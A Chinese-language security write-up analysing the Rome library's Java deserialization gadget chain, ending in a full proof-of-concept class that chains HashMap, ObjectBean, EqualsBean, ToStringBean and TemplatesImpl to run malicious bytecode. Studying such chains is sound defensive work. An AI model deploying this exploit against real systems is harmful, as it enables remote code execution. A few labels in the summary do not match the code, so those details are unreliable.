Rome反序列化链分析
0x00前置知识
ObjectBean
com.sun.syndication.feed.impl.ObjectBean
是Rome
提供的一个封装类型,初始化时可以对一个Class
和一个Object
对象进行封装。
ObjectBean有三个成员变量,分别是 EqualsBean/ToStringBean/CloneableBean 类,这三个类为 ObjectBean 提供了 equals
、toString
、clone
以及 hashCode
方法。


这里来看一下ObjectBean
的hashCode()
,它会去调用EqualsBean
的beanHashCode()
public int hashCode() {
return _equalsBean.beanHashCode();
}
跟进看一下beanHashCode()
public int beanHashCode() {
return _obj.toString().hashCode();
}
这里会调用_obj
的toString()
方法,而这个_obj
是来自于EqualsBean中的,是可控的,这也就是触发利用链的地方。

ToStringBean
com.sun.syndication.feed.impl.ToStringBean
这个类提供了toString()
,一共有两个toString()
方法,第一个是无参的方法获取传入的obj对象的类名,并且传入第二个toString()
方法
public String toString() {
Stack stack = (Stack) PREFIX_TL.get();
String[] tsInfo = (String[]) ((stack.isEmpty()) ? null : stack.peek());
String prefix;
if (tsInfo==null) {
String className = _obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".")+1);
}
else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
return toString(prefix);
}
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
if (pds!=null) {
for (int i=0;i<pds.length;i++) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod!=null && // ensure it has a getter method
pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods
pReadMethod.getParameterTypes().length==0) { // filter getter methods that take parameters
Object value = pReadMethod.invoke(_obj,NO_PARAMS);
printProperty(sb,prefix+"."+pName,value);
}
}
}
}
catch (Exception ex) {
sb.append("\n\nEXCEPTION: Could not complete "+_obj.getClass()+".toString(): "+ex.getMessage()+"\n");
}
return sb.toString();
}
这里调用BeanIntrospector.getPropertyDescriptors()
来获取 _beanClass
的全部 getter/setter 方法。
private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {
Method[] methods = klass.getMethods();
Map getters = getPDs(methods,false);
Map setters = getPDs(methods,true);
List pds = merge(getters,setters);
PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
pds.toArray(array);
return array;
}
然后调用其中的无参方法,可以用来触发TemplatesImpl 的利用链

0x01攻击构造
首先,生成恶意的TemplatesImpl类
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{evilCode});
SerializeUtil.setFieldValue(templates, "_name", "le1a");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
然后把恶意的TemplatesImpl类封装到ToStringBean
中,使得最后可以调用ToStringBean#toString()
的时候,可以触发getter()方法。
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
然后把封装好的ToStringBean
对象封装到EqualsBean
中,使得调用EqualsBean#beanHashCode()
的时候,调用的是ToStringBean#toString()

EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
然后实例化一个ObjectBean,先装入无害的1,防止序列化的时候就触发恶意代码
ObjectBean objectBean = new ObjectBean(String.class, "le1a");
HashMap<ObjectBean, Integer> evilMap = new HashMap<ObjectBean, Integer>();
evilMap.put(objectBean, 1);
evilMap.put(objectBean, 1);
然后再通过反射修改ObjectBean中的EqualsBean
变量的值为我们构造的恶意EqualsBean
对象
SerializeUtil.setFieldValue(objectBean, "_equalsBean", equalsBean);
完整Poc:
package com.le1a.rome;
import com.le1a.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.util.HashMap;
public class Rome {
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{evilCode});
SerializeUtil.setFieldValue(templates, "_name", "le1a");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 使用 TemplatesImpl 初始化被包装类,使其 ToStringBean 也使用 TemplatesImpl 初始化
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
ObjectBean objectBean = new ObjectBean(String.class, "le1a");
HashMap<ObjectBean, Integer> evilMap = new HashMap<ObjectBean, Integer>();
evilMap.put(objectBean, 1);
evilMap.put(objectBean, 1);
SerializeUtil.setFieldValue(objectBean, "_equalsBean", equalsBean);
byte[] bytes = SerializeUtil.serialize(evilMap);
SerializeUtil.unserialize(bytes);
}
}
0x02总结
-
大概流程:
- 利用
HashMap
反序列化触发ObjectBean
的hashCode()
方法,然后触发_equalsBean.beanHashCode()
,再触发EqualsBean
封装的ToStringBean
的toString()
方法
- 利用
-
Gadget:
- kick-off gadget:
java.util.HashMap#readObject()
- sink gadget:
com.sun.syndication.feed.impl.ToStringBean#toString()
- chain gadget:
com.sun.syndication.feed.impl.ObjectBean#toString()
- kick-off gadget:
-
调用链:
HashMap.readObject() ObjectBean.hashCode() EqualsBean.beanHashCode() ToStringBean.toString() TemplatesImpl.getOutputProperties()
0x03参考